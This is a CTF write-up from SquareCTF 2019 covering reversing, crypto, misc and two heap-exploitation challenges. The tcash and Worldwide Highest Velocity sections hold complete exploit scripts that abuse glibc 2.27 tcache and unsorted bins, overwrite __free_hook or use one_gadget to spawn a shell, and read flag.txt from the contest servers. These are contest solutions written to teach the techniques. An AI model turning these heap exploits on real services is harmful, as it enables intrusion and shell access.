CTFするぞ

あたまよくないけどがんばります

SquareCTF 2019 Writeup

SquareCTF had been held from October 11th to 17th (in JST) and I played it in zer0pts. We got 6450 points and kept 7th place.

f:id:ptr-yudai:20191017100817p:plain

There are many good challenges and I enjoyed them! Thank you for hosting the CTF :)

Members' writeup:

furutsuki.hatenablog.com

st98.github.io

Tasks and solvers for some challenges I solved are availble here.

[Reversing 700pts] Aesni

We're given a simple 32-bit ELF.

f:id:ptr-yudai:20191017093200p:plain

As you can understand, it XORs some data and jump there, which is just a packer. The packed machine code also unpacks another piece of code and so on. The third unpacked code has a compare routine.

f:id:ptr-yudai:20191017093544p:plain

It just load bytes from 0x80480EF and xores it with 0x55 and compares them with our 13 bytes input.

pwndbg> x/1s 0x80480ef
0x80480ef:      "\001=\034&x<\006x3\034;\020Uc7cfcde9b27cb5904a273dbe81679dde\026JV\\]k\200\002S\352\023\325^\017\274\020n\223\300\363@\n]\207_Z\330a\353\206\003\016>\243M|P\a\222\225\260d38;`*e\033u _5?8gldech4>\fP,*\023`d0d8b3b?d4d\202nLpP\006\271TRSQʅ\022\a\221\211\367\211\r\241\201\004\b\017\020\005\241\201\004\bf\017\070\334\301\017\020\026f\017\357\320\017\021\026\203\306\020\340\337\377\347\001"

Let's decode it.

from ptrlib import xor

key = b'\x55'
encoded = b"\001=\034&x<\006x3\034;\020Uc7cfcde9b27cb5904a273dbe81679dde\026JV\\]k\200\002S\352\023\325^\017\274\020n\223\300\363@\n]\207_Z\330a\353\206\003\016>\243M|P\a\222\225\260d38;`*e\033u _5?8gldech4>\fP,*\023`d0d8b3b?d4d\202nLpP\006\271TRSQ"[:13]

print(xor(encoded, key))
$ python solve.py 
b'ThIs-iS-fInE\x00'

Giving it as an argument will output the flag.

$ ./aesni ThIs-iS-fInE
flag-cdce7e89a7607239

[Crypto 150pts] Decode me

We are given a pyc file. theoremoon decompiled it.

# uncompyle6 version 3.3.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (default, Oct  7 2019, 17:36:04) 
# [GCC 8.3.0]
# Embedded file name: ./encoder.py
# Compiled at: 2019-10-10 14:14:05
import base64, string, sys
from random import shuffle

def encode(f, inp):
    s = string.printable
    init = lambda : (list(s), [])
    bag, buf = init()
    for x in inp:
        if x not in s:
            continue
        while True:
            r = bag[0]
            bag.remove(r)
            diff = (ord(x) - ord(r) + len(s)) % len(s)
            print(bag)
            if diff == 0 or len(bag) == 0:
                shuffle(buf)
                f.write(('').join(buf))
                f.write('\x00')
                bag, buf = init()
                shuffle(bag)
            else:
                break

        buf.extend(r * (diff - 1))
        f.write(r)

    shuffle(buf)
    f.write(('').join(buf))


if __name__ == '__main__':
    with open(sys.argv[1], 'rb') as (r):
        w = open(sys.argv[1] + '.enc', 'wb')
        b64 = base64.b64encode(r.read())
        encode(w, b64)
# okay decompiling encoder.pyc

And I wrote a decoder.

import string
import base64

with open("decodeme.png.enc", "r") as f:
    buf = f.read()

ofs = -1
pre = 0
output = ''
while b'\x00' in buf[ofs+1:]:
    ofs = buf.index(b'\x00', ofs + 1)
    local = buf[pre:ofs]
    s = local[:len(string.printable)]
    past = []
    #print(repr(buf[pre:ofs + 1]))
    for r in s:
        diff = local.count(r)
        if diff == 0: break
        if r in past: break
        past.append(r)
        r = ord(r)
        if r + diff <= ord('z'):
            if r + diff < 0x20:
                x = r + diff + len(string.printable)
            else:
                x = r + diff
        else:
            x = r + diff - len(string.printable)
        output += chr(x)
    pre = ofs + 1

local = buf[ofs + 1:]
s = local[:len(string.printable)]
past = []
for r in s:
    diff = local.count(r)
    if diff == 0: break
    if r in past: break
    past.append(r)
    r = ord(r)
    if r + diff <= ord('z'):
        if r + diff < 0x20:
            x = r + diff + len(string.printable)
        else:
            x = r + diff
    else:
        x = r + diff - len(string.printable)
    output += chr(x)

print(output)
with open("output.png", "w") as f:
    f.write(base64.b64decode(output))

[Pwn 1000pts] tcash

We're given a 64-bit ELF.

$ checksec -f tcash
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   83 Symbols     Yes      0               4       tcash

It's a normal heap challenge. We can create at most 10 notes, write, read, and free. At first glance, it seems secure but a vulnerability lies here:

 b0a:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
 b0d:   8d 48 ff                lea    ecx,[rax-0x1]
 b10:   8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
 b13:   48 98                   cdqe   
 b15:   48 c1 e0 04             shl    rax,0x4
 b19:   48 89 c2                mov    rdx,rax
 b1c:   48 8d 05 1d 15 20 00    lea    rax,[rip+0x20151d]        # 202040 <allocs>
 b23:   89 0c 02                mov    DWORD PTR [rdx+rax*1],ecx

It stores the size we allocated with decremented. So, if we set the size to zero, it stores 0xffffffff, which causes heap overflow in write_chunk. We can only call malloc(0x6f8) but it has a secret function in which it calls malloc(0x308) 2 times and reads data. The first thing we do is libc leak. It can be done by printing a freed chunk which was linked to main_arena. The second thing is heap overflow. We overwrite the size header of the adjacent chunk to 0x311 and free it, which will be linked into tcache. Then we overwrite the fd of the chunk and call the secret function. The second allocated region will be the fd we write.

from ptrlib import *

def malloc(index, size):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("?\n", str(index))
    sock.sendlineafter("size: \n", str(size))
    return

def write(index, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("?\n", str(index))
    sock.sendafter("data: \n", data)
    return

def read(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("?\n", str(index))
    r = sock.recvuntil("1) ")
    return r[:-3]

def free(index):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter("?\n", str(index))
    return

def secret(index, data1, data2):
    sock.sendlineafter("> ", "1337")
    sock.sendlineafter("?\n", str(index))
    sock.sendafter("data 1: \n", data1)
    sock.sendafter("data 2: \n", data2)
    return

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./tcash")
sock = Socket("tcash-a57a558adff75b59.squarectf.com", 7852)
libc_main_arena = 0x3ebc40

# libc leak
malloc(0, 0x6f8)
malloc(1, 0x6f8)
free(0)
malloc(0, 0x6f8)
libc_base = u64(read(0)[:8]) - libc_main_arena - 96
logger.info("libc base = " + hex(libc_base))

# heap overflow
free(0)
malloc(0, 0)
payload = b'A' * 0x6f8 + p64(0x311) + b"\n"
write(0, payload)
free(1)
payload = b'A' * 0x6f8 + p64(0x311) + p64(libc_base + libc.symbol("__free_hook")) + b"\n"
write(0, payload)

# overwrite __free_hook
secret(0, "dummy", p64(libc_base + libc.symbol("system")))

# get the shell!!
malloc(9, 0x8)
write(9, "/bin/sh\n")
free(9)

sock.interactive()

Good.

$ python solve.py 
[+] __init__: Successfully connected to tcash-a57a558adff75b59.squarectf.com:7852
[+] <module>: libc base = 0x7f204dea3000
[ptrlib]$ cat /home/tcash/flag.txt
[ptrlib]$ flag-53AE19D1869BF54B5DDEF813

[Pwn 2000pts] Worldwide Highest Velocity

The binary is a 64-bit ELF and is similar to that of tcash. It has same functions but for the secret function. So, we don't have tcache size allocation and only have malloc(0x608) and heap overflow. Leaking the libc base is easy so let's think about how to get AAW. Since we can't exploit the binary without tcache or fastbin, I overwrote global_max_fast by unsorted bin attack. Now we have fastbin control for size 0x701. In order to do fastbin attack, we need an apropriate chunk whose size is between 0x700 to 0x70f near __malloc_hook or __free_hook. Fortunately we have 0x700 in malloc parameter because tcache is enable. If tcache is enable, mp_ has max count of tcache, which is 7 by default. mp_ is located before __malloc_hook and we can easily overwrite it.

from ptrlib import *

flag = False
def exploit(stop=False):
    global flag
    if flag: return
    #sock = Process("./worldwide_highest_velocity")
    #sock = Socket("localhost", 6129)
    sock = Socket("wwhv-315c4ee98c95e6ec.squarectf.com", 6129)

    def malloc(index, size):
        sock.sendlineafter("> ", "1")
        sock.sendlineafter("?\n", str(index))
        sock.sendlineafter("size: \n", str(size))
        return

    def write(index, data):
        sock.sendlineafter("> ", "2")
        sock.sendlineafter("?\n", str(index))
        sock.sendafter("data: \n", data)
        return

    def read(index):
        sock.sendlineafter("> ", "3")
        sock.sendlineafter("?\n", str(index))
        r = sock.recvuntil("1) ")
        return r[:-3]

    def free(index):
        sock.sendlineafter("> ", "4")
        sock.sendlineafter("?\n", str(index))
        return
    
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
    libc_main_arena = 0x3ebc40
    libc_global_max_fast = 0x3ed940
    libc_mp = 0x3eb280
    libc_one_gadget = [0x10a38c, 0x4f322, 0x4f2c5, 0xe569f, 0xe5858, 0xe585f, 0xe5863, 0x10a398]

    # libc leak
    malloc(0, 0x6f8)
    malloc(1, 0x6f8) # base
    malloc(2, 0)     # base + 0x700
    malloc(3, 0x6f8) # base + 0x700
    free(0)
    malloc(0, 0x6f8)
    libc_base = u64(read(0)[:8]) - libc_main_arena - 96
    logger.info("libc base = " + hex(libc_base))
    
    # modify global_max_fast
    free(0)
    malloc(0, 0)
    free(1)
    payload  = b'A' * 0x6f8 + p64(0x701)
    payload += p64(0) + p64(libc_base + libc_global_max_fast - 0x10)
    write(0, payload + b'\n')
    malloc(1, 0x6f8)

    # leverage mp_
    free(1)
    payload  = b'A' * 0x6f8 + p64(0x701)
    payload += p64(libc_base + libc_mp + 0x57)
    write(0, payload + b'\n')
    malloc(1, 0x6f8)
    malloc(4, 0)
    payload = b'\x00' * 0x19
    payload += b'\x00' * 0x710
    payload += p64(0xfbad2088)
    payload += b'\x00' * 0xc0 + p64(libc_base + libc.symbol("_IO_file_jumps"))
    payload += b'\x00' * 0x150
    payload += p64(libc_base + libc_one_gadget[0])
    write(4, payload + b"\n")
    
    # get the shell!!
    free(3)
    malloc(3, 0x6f8)
    
    sock.interactive()

if __name__ == '__main__':
    exploit(stop=True)

Yay!

$ python solve.py 
[+] __init__: Successfully connected to wwhv-315c4ee98c95e6ec.squarectf.com:6129
[+] exploit: libc base = 0x7f3c60cb0000
[ptrlib]$ cat /home/wwhv/flag.txt
[ptrlib]$ Nice job nailing the hardest puzzle! flag-25628006A770E154355A1C86B5F1

[Crypto 1000pts] Go cipher

When I looked over this challenge, theoremoon already posted a python code to find the encryption key, which didn't work.

from z3 import *
from ptrlib import p64

plaintext = open("story4.txt", "rb").read()
encrypted = bytes.fromhex(open("story4.txt.enc").read())
keysum, ciphertext = encrypted[:16], encrypted[16:]

key1, key2, key3 = BitVec("Key1", 64), BitVec("Key2", 64), BitVec("Key3", 64)
solver = Solver()
for i in range(len(plaintext)):
    solver.add(
        ciphertext[i] == ((plaintext[i] - (key1 & 0xff)) & 0xff) ^ (key2 & 0xff) ^ (key3 & 0xff)
    )
    key1 = RotateRight(key1, 1)
    key2 = RotateLeft(key2, 1)
    key3 = RotateLeft(key3, 1)

r = solver.check()
if r == sat:
    m = solver.model()
    print(m)
    for d in m.decls():
        if d.name() == 'Key1':
            key1 = p64(m[d].as_long())
        elif d.name() == 'Key2':
            key2 = p64(m[d].as_long())
        elif d.name() == 'Key3':
            key3 = p64(m[d].as_long())
with open("key", "wb") as f:
    f.write(key1 + key2 + key3)

I fixed some constraints and it worked. Since the decryption function is implemented in the given code, we just need to pass the key. As it checks the md5sum of the key, I modified the code as shown below.

  if (!bytes.Equal(r, ciphertext_bytes[0:len(r)])) {
    //log.Panic("invalid key")
  }

That's it.

[Misc 700pts] Sudo make me a flag

We're given an obfuscated Makefile. I re-wrote it in Python and optimized not to use recursion. There are several solutions for this but the third one worked. I don't like this sort of challenge :-(

import re
import hashlib
from ptrlib import *

#b=$(if $(subst y,,$(1)),$(call b,$(patsubst x%,%,$(1)),$(2)y),$(if $(subst x,,$(1)),$(call b,$(patsubst %y,%,$(1)),x$(2)),$(call w,$(2))))
"""
def b(v1, v2):
    if 'x' in v1:
        return b(re.sub(r'\Ax(.*)\Z', r'\1', v1), v2+'y')
    elif 'y' in v1:
        return b(re.sub(r'\A(.*)y\Z', r'\1', v1), 'x'+v2)
    else:
        return w(v2)
"""
def b(v1, v2):
    return 'x' * (v1.count('x') + v2.count('y')) + 'y' * (v1.count('y') + v2.count('x'))

#c=$(call p,$(l),$(q))
def c():
    return p(l(), q())

#d=$(call r,$(l))
def d():
    return r(l())

#e=$(if $(subst y,,$(1)),$(words $(subst x,x ,$(1))),$(if $(subst x,,$(1)),-$(words $(subst y,y ,$(1))),0))
def e(v1):
    if 'x' in v1:
        if 'y' in v1:
            return v1.count('x') + 1
        else:
            return v1.count('x')
    elif 'y' in v1:
        if 'x' in v1:
            return -(v1.count('x') + 1)
        else:
            return -v1.count('x')
    else:
        return 0

#g=$(call j,$(call j,xxxxxxxxxxxxxxx))
def g():
    return j(j('xxxxxxxxxxxxxxx'))

#h=$(call k,$(g),$(z))
def h():
    return k(g(), z())

#i=x$(1)
def i(v1):
    return 'x' + v1

#j=$(subst x,xxxxxxx,$(1))
def j(v1):
    return v1.replace('x', 'xxxxxxx')

#a = $(call k,$(call m,$(1)),$(h))
def a(v1):
    return k(m(v1), h())

#l = $(call n,$(firstword $(subst -, , $@)))
def l():
    return n(ARG.split('-')[0])

#o = $(if $(and $(findstring x,$(1)),$(findstring y,$(1))),$(call o,$(patsubst x%y,%,$(1))),$(1))
"""
def o(v1):
    if 'x' in v1 and 'y' in v1:
        return o(v1[1:-1])
    else:
        return v1
"""
def o(v1):
    if v1.count('x') == v1.count('y'):
        return ''
    elif v1.count('x') > v1.count('y'):
        return 'x' * (v1.count('x') - v1.count('y'))
    else:
        return 'y' * (v1.count('y') - v1.count('x'))
#k = $(if $(subst y,,$(1)),$(call k,$(patsubst x%,%,$(1)),x$(2)),$(if $(subst x,,$(1)),$(call k,$(patsubst %y,%,$(1)),$(2)y),$(2)))
"""
def k(v1, v2):
    if 'x' in v1:
        return k(re.sub(r'\Ax(.*)\Z', r'\1', v1), 'x'+v2)
    elif 'y' in v1:
        return k(re.sub(r'\A(.*)y\Z', r'\1', v1), v2+'y')
    else:
        return v2
"""
def k(v1, v2):
    return 'x' * (v1.count('x') + v2.count('x')) + 'y' * (v1.count('y') + v2.count('y'))

#m=$(call p,$(1),$(1))
def m(v1):
    return p(v1, v1)

#n=$(patsubst %,%,$(subst x ,x, $(filter x,$(subst x,x ,$(1)))))$(patsubst %,%,$(subst y ,y, $(filter y,$(subst y,y ,$(1)))))
#n=$(subst x ,x, $(filter x,$(subst x,x ,$(1)))))$(patsubst %,%,$(subst y ,y, $(filter y,$(subst y,y ,$(1))))
def n(v1):
    # xyxxyy --> x yx x yy  |
    # xyxxyy --> xy xxy y   +--> xxy
    return ''.join(list(filter(lambda x: x == 'x', v1.replace('x', 'x ').split()))) +\
        ''.join(list(filter(lambda y: y == 'y', v1.replace('y', 'y ').split())))

#p=$(if $(subst y,,$(1)),$(call k,$(2),$(call p,$(call o,$(call u,$(1))),$(2))),$(if $(subst x,,$(1)),$(call b,$(2),$(call p,$(call o,$(call i,$(1))),$(2))),))
"""
def p(v1, v2):
    if 'x' in v1:
        return k(v2, p(o(u(v1)), v2))
    elif 'y' in v1:
        return b(v2, p(o(i(v1)), v2))
    else:
        return ''
"""
def p(v1, v2):
    xc = v1.count('x')
    yc = v1.count('y')
    if xc > yc:
        return ''.join(sorted(v2 * (xc - yc)))
    elif xc < yc:
        base = 'x' + 'x' * (len(v1) // 2) + 'y' * ((len(v1) - 1) // 2)
        t = ''
        for c in v2:
            if c == 'x':
                t += base
            else:
                t += base.replace('x', 'w').replace('y', 'x').replace('w', 'y')
        return ''.join(sorted(t))
    else:
        return v1
#"""

#q=$(call n,$(lastword $(subst -, , $@)))
def q():
    return n(ARG.split('-')[-1])

#r=$(call b,$(call a,$(1)),$(call y,$(1)))
def r(v1):
    return b(a(v1), y(v1))

#s=@echo flag-`echo $(call v,$(c)) $(call o,$(c)) | md5sum`
def s():
    print("flag-{}".format(hashlib.md5(v(c()) + " " + o(c) + "\n").hexdigest()))

#t=$(call k,$(z),xxxxxxxxxx)
def t():
    return k(z(), 'xxxxxxxxxx')

#u=$(1)y
def u(v1):
    return v1 + 'y'

#v=$(call e,$(call o,$(1)))
def v(v1):
    return e(o(v1))

#w=$(if $(subst z,,$(subst y,,$(1))),
#    $(call w,$(patsubst x%,%z,$(1))),
#   $(if $(subst z,,$(subst x,,$(1))),
#     $(subst z,y,$(subst y,x,$(1))),
#    $(subst z,y,$(1))))
def w(v1):
    if 'x' in v1:
        return w(re.sub(r'\Ax(.*)\Z', r'\1', v1) + 'z')
    elif 'y' in v1:
        return v1.replace('y', 'x').replace('z', 'y')
    else:
        return v1.replace('z', 'y')

#x=$(call r,$(q))
def x():
    return r(q())

#y=$(call p,$(1),$(t))
def y(v1):
    return p(v1, t())

#z=$(call b,$(call j,$(call j,x)),xx)
def z():
    return b(j(j('x')), 'xx')

#flag = $(if $(or $(call o,$(d)),$(call o,$(x))),@echo nope1,$(if $(call o,$(call b,$(l),$(q))), $(s), @echo nope))
def flag():
    if o(d()) or o(x()):
        print("Nope 1")
    else:
        if o(b(l, q)):
            s()
        else:
            print("Nope 2")

# Solution 1
_l = "x" * 23
_q = "x" + "y" * 336
# Solution 2
_l = "x" * 23
_q = "x" + "y" * 727
# Solution 3 (worked)
_l = "x" * 23
_q = "y" + "x"*10 + "y"*2 + "x" * 28

ARG = _l + "-" + _q
dd = d()
xx = x()
print("o(d()) = '{}'".format(o(d())))
print("o(x()) = '{}'".format(o(x())))
print("o(b(l,q)) = '{}'".format(o(b(_l, _q))))

c = p(_l, _q)
output = "{} {}\n".format(v(c), o(c))
output = "flag-{}".format(hashlib.md5(str2bytes(output)).hexdigest())
print(output)
$ python overview.py 
o(d()) = ''
o(x()) = ''
o(b(l,q)) = 'yyyyyyyyyyyy'
flag-0f8e43d770b89dd55dd58a50117ea625